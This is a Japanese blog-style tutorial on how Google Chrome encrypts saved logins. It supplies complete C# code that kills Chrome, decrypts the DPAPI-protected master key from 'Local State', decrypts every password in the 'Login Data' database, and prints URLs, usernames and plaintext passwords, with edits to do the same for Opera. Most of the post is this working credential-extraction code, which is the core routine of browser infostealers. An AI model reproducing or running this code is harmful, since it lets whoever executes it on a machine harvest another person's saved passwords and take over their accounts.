はじめに
Google Chromeでサイトにログインするとき、多くの人がアカウント情報をChromeに保存していると思います。
しかし、Chromeはこのログインデータをどのように保存しているのだろうか、と気になったので、調べてみました。
Chromeのログインデータの保存手順
調べてみたところ、ログインデータは
ユーザーフォルダ\AppData\Local\Google\Chrome\User Data\Default\Login Data
にSQLiteデータベース形式で保存されていることがわかりました。
また、パスワードは以下の方法で暗号化されていることがわかりました。
- 32バイトのランダムデータ(マスターキー)を生成する
- Windows DPAPIを使ってそれを暗号化する
- この暗号化されたキーの最初に文字列「DPAPI」を挿入する
- Base64でエンコードし、ユーザーフォルダ\AppData\Local\Google\Chrome\User Data\Local Stateに保存する
- 12バイトの初期化ベクトルを生成する
- 上記のマスターキーと初期化ベクトルを使って、パスワードをAES-256-GCMで暗号化する
- 暗号化されたパスワードの最初に文字列「v10」、初期化ベクトルを挿入する
Windows DPAPIというのは、Windows アカウント パスワードを使って暗号化するAPIです。
初期化ベクトルというのはランダムに生成されるビット列であり、これを利用して暗号化することでデータを解読しにくくすることができます。
ログインデータを読み込んでみる
よって、ログインデータを読み込む手順は以下のようになります。
- Local Stateファイルから暗号化されたマスターキーを読み込む
- マスターキーをBase64デコードし、「DPAPI」を削除する
- Windows DPAPIを使ってそれを復号化する
- Login DataファイルをSQLiteデータベースとして読み込み、URL、ユーザー名、暗号化されたパスワードを読み込む
- 暗号化されたパスワードから「v10」を削除し、初期化ベクトルとパスワードデータに分ける
- それらを使って、パスワードをAES-256-GCMで復号化する
それでは、C#で実装してみます。
マスターキーを取得する
パスワードを復号化するにはマスターキーが必要なので、Local Stateファイルから読み込んで復号化します。
このファイル自体はJsonで記録されており、os_cryptのencrypted_keyの値が暗号化されたマスターキーになります。
このコードではJsonファイルを読み込むためにNewtonsoft.Jsonを使っています。
public static byte[] GetKey() {
// AppDataのパスを取得
var appdata = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
// Local Stateのパスを取得
var path = Path.GetFullPath(appdata + "\\..\\Local\\Google\\Chrome\\User Data\\Local State");
// Local StateをJsonとして読み込む
string v = File.ReadAllText(path);
dynamic json = JsonConvert.DeserializeObject(v);
string key = json.os_crypt.encrypted_key;
// Base64エンコード
byte[] src = Convert.FromBase64String(key);
// 文字列「DPAPI」をスキップ
byte[] encryptedKey = src.Skip(5).ToArray();
// DPAPIで復号化
byte[] decryptedKey = ProtectedData.Unprotect(encryptedKey, null, DataProtectionScope.CurrentUser);
return decryptedKey;
}
Login Dataの読み込み
次に、Login Dataファイルを読み込みます。
SQLiteデータベース形式で保存されているので、今回はこれを読み込むためにSystem.Data.SQLite.Coreを使いました。
// AppDataのパスを取得
var appdata = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
// Login Dataのパスを取得
var p = Path.GetFullPath(appdata + "\\..\\Local\\Google\\Chrome\\User Data\\Default\\Login Data");
if (File.Exists(p)) {
Process[] chromeInstances = Process.GetProcessesByName("chrome");
foreach (Process proc in chromeInstances)
// Chromeを強制終了
// これをやらないと「database is locked」エラーになる
proc.Kill();
// Login Dataファイルを読み込む
using (var conn = new SQLiteConnection($"Data Source={p};")) {
conn.Open();
using (var cmd = conn.CreateCommand()) {
cmd.CommandText = "SELECT action_url, username_value, password_value FROM logins";
using (var reader = cmd.ExecuteReader()) {
if (reader.HasRows) {
// マスターキーを取得
byte[] key = GetKey();
while (reader.Read()) {
// 空のデータは無視
if (reader[0].ToString() == "") continue;
// 暗号化されたパスワードをbyte配列で読み込む
byte[] encryptedData = GetBytes(reader, 2);
// 初期化ベクトルとパスワードデータに分離
byte[] nonce, ciphertextTag;
Prepare(encryptedData, out nonce, out ciphertextTag);
// パスワードの復号化
string password = Decrypt(ciphertextTag, key, nonce);
var url = reader.GetString(0);
var username = reader.GetString(1);
Console.WriteLine("Url : " + url);
Console.WriteLine("Username : " + username);
Console.WriteLine("Password : " + password + "\n");
}
}
}
}
conn.Close();
Console.ReadKey(true);
}
} else {
throw new FileNotFoundException("Login Dataファイルが見つかりません");
}
SQLiteからbyte配列で読み込むメソッドがなぜか用意されてないので、自分で作ります。
private static byte[] GetBytes(SQLiteDataReader reader, int columnIndex) {
const int CHUNK_SIZE = 2 * 1024;
byte[] buffer = new byte[CHUNK_SIZE];
long bytesRead;
long fieldOffset = 0;
using (MemoryStream stream = new MemoryStream()) {
while ((bytesRead = reader.GetBytes(columnIndex, fieldOffset, buffer, 0, buffer.Length)) > 0) {
stream.Write(buffer, 0, (int)bytesRead);
fieldOffset += bytesRead;
}
return stream.ToArray();
}
}
読み込んだ暗号化データを初期化ベクトルとパスワードデータに分離するPrepareメソッドを定義しておきます。
// 暗号化データを初期化ベクトルとパスワードデータに分離
public static void Prepare(byte[] encryptedData, out byte[] nonce, out byte[] ciphertextTag) {
nonce = new byte[12];
ciphertextTag = new byte[encryptedData.Length - 3 - nonce.Length];
System.Array.Copy(encryptedData, 3, nonce, 0, nonce.Length);
System.Array.Copy(encryptedData, 3 + nonce.Length, ciphertextTag, 0, ciphertextTag.Length);
}
復号化
次に、復号化処理を見ていきます。
.NET FrameworkにはAES-256-GCMの復号化を行うクラスはないので、今回は暗号化・復号化用パッケージ「Bouncy Castle」を導入しました。
以下が復号化のコードです。
正直、このコードは海外のサイトからコピーしたものなので、自分でもよく理解していません。
// AES-256-GCM 復号化処理
// 暗号化されたパスワード、マスターキー、初期化ベクトルを指定
public static string Decrypt(byte[] encryptedBytes, byte[] key, byte[] iv) {
string sR = "";
try {
GcmBlockCipher cipher = new GcmBlockCipher(new AesFastEngine());
AeadParameters parameters = new AeadParameters(new KeyParameter(key), 128, iv, null);
cipher.Init(false, parameters);
byte[] plainBytes = new byte[cipher.GetOutputSize(encryptedBytes.Length)];
Int32 retLen = cipher.ProcessBytes(encryptedBytes, 0, encryptedBytes.Length, plainBytes, 0);
cipher.DoFinal(plainBytes, retLen);
sR = Encoding.UTF8.GetString(plainBytes).TrimEnd("\r\n\0".ToCharArray());
}
catch (Exception ex) {
Console.WriteLine(ex.Message);
Console.WriteLine(ex.StackTrace);
}
return sR;
}
ログインデータを読み込むプログラム
ログインデータを読み込んで出力するプログラムは以下のようになります。
using Newtonsoft.Json;
using Org.BouncyCastle.Crypto.Engines;
using Org.BouncyCastle.Crypto.Modes;
using Org.BouncyCastle.Crypto.Parameters;
using System;
using System.Data.SQLite;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Security.Cryptography;
using System.Text;
public class GetLoginData
{
public static void Main()
{
// AppDataのパスを取得
var appdata = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
// Login Dataのパスを取得
var p = Path.GetFullPath(appdata + "\\..\\Local\\Google\\Chrome\\User Data\\Default\\Login Data");
if (File.Exists(p))
{
Process[] chromeInstances = Process.GetProcessesByName("chrome");
foreach (Process proc in chromeInstances)
// Chromeを強制終了
// これをやらないと「database is locked」エラーになる
proc.Kill();
// Login Dataファイルを読み込む
using (var conn = new SQLiteConnection($"Data Source={p};"))
{
conn.Open();
using (var cmd = conn.CreateCommand())
{
cmd.CommandText = "SELECT action_url, username_value, password_value FROM logins";
using (var reader = cmd.ExecuteReader())
{
if (reader.HasRows)
{
// マスターキーを取得
byte[] key = GetKey();
while (reader.Read())
{
// 空のデータは無視
if (reader[0].ToString() == "") continue;
// 暗号化されたパスワードをbyte配列で読み込む
byte[] encryptedData = GetBytes(reader, 2);
// 初期化ベクトルとパスワードデータに分離
byte[] nonce, ciphertextTag;
Prepare(encryptedData, out nonce, out ciphertextTag);
// パスワードの復号化
string password = Decrypt(ciphertextTag, key, nonce);
var url = reader.GetString(0);
var username = reader.GetString(1);
Console.WriteLine("Url : " + url);
Console.WriteLine("Username : " + username);
Console.WriteLine("Password : " + password + "\n");
}
}
}
}
conn.Close();
Console.ReadKey(true);
}
}
else
{
throw new FileNotFoundException("Login Dataファイルが見つかりません");
}
}
public static byte[] GetKey()
{
// AppDataのパスを取得
var appdata = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
// Local Stateのパスを取得
var path = Path.GetFullPath(appdata + "\\..\\Local\\Google\\Chrome\\User Data\\Local State");
// Local StateをJsonとして読み込む
string v = File.ReadAllText(path);
dynamic json = JsonConvert.DeserializeObject(v);
string key = json.os_crypt.encrypted_key;
// Base64エンコード
byte[] src = Convert.FromBase64String(key);
// 文字列「DPAPI」をスキップ
byte[] encryptedKey = src.Skip(5).ToArray();
// DPAPIで復号化
byte[] decryptedKey = ProtectedData.Unprotect(encryptedKey, null, DataProtectionScope.CurrentUser);
return decryptedKey;
}
// AES-256-GCM 復号化処理
public static string Decrypt(byte[] encryptedBytes, byte[] key, byte[] iv)
{
string sR = "";
try
{
GcmBlockCipher cipher = new GcmBlockCipher(new AesFastEngine());
AeadParameters parameters = new AeadParameters(new KeyParameter(key), 128, iv, null);
cipher.Init(false, parameters);
byte[] plainBytes = new byte[cipher.GetOutputSize(encryptedBytes.Length)];
Int32 retLen = cipher.ProcessBytes(encryptedBytes, 0, encryptedBytes.Length, plainBytes, 0);
cipher.DoFinal(plainBytes, retLen);
sR = Encoding.UTF8.GetString(plainBytes).TrimEnd("\r\n\0".ToCharArray());
}
catch (Exception ex)
{
Console.WriteLine(ex.Message);
Console.WriteLine(ex.StackTrace);
}
return sR;
}
// 暗号化データを初期化ベクトルとパスワードデータに分離
public static void Prepare(byte[] encryptedData, out byte[] nonce, out byte[] ciphertextTag)
{
nonce = new byte[12];
ciphertextTag = new byte[encryptedData.Length - 3 - nonce.Length];
System.Array.Copy(encryptedData, 3, nonce, 0, nonce.Length);
System.Array.Copy(encryptedData, 3 + nonce.Length, ciphertextTag, 0, ciphertextTag.Length);
}
// SQLiteデータをbyte配列で読み込む
private static byte[] GetBytes(SQLiteDataReader reader, int columnIndex)
{
const int CHUNK_SIZE = 2 * 1024;
byte[] buffer = new byte[CHUNK_SIZE];
long bytesRead;
long fieldOffset = 0;
using (MemoryStream stream = new MemoryStream())
{
while ((bytesRead = reader.GetBytes(columnIndex, fieldOffset, buffer, 0, buffer.Length)) > 0)
{
stream.Write(buffer, 0, (int)bytesRead);
fieldOffset += bytesRead;
}
return stream.ToArray();
}
}
}
このプログラムを実行すると、以下のようにログインデータが出力されます。
Url : https://accounts.google.com/signin/v2/challenge/password/empty
Username : qwerty123456@gmail.com
Password : zettaibarenaipassword
Url : https://id.unity.com/ja/conversations/0a0a3de1-8dd7-4c4b-81fe-49e7460614f2301f
Username : admin314159@gmail.com
Password : UnityPassword
Operaのログインデータについて
Opera BrowserはGoogle Chromeと同じChromiumをベースにしているので、同じ方法でログインデータを取得することができます。
上記のコードの20行目
var p = Path.GetFullPath(appdata + "\\..\\Local\\Google\\Chrome\\User Data\\Default\\Login Data");
を
var p = Path.GetFullPath(appdata + "\\..\\Roaming\\Opera Software\\Opera Stable\\Login Data");
に書き換え、
83行目の
var path = Path.GetFullPath(appdata + "\\..\\Local\\Google\\Chrome\\User Data\\Local State");
を
var path = Path.GetFullPath(appdata + "\\..\\Roaming\\Opera Software\\Opera Stable\\Local State");
に書き換えて実行してみると、同じようにOperaのログインデータが出力されるはずです。
まとめ
ということで、割と簡単にChromeに保存されているログインデータを取得できてしまいました。
パスワードを忘れてしまった際に便利だと思いますが、これだと危険なので、パスワードなどの重要なデータの保存にはより工夫が必要だと思いました。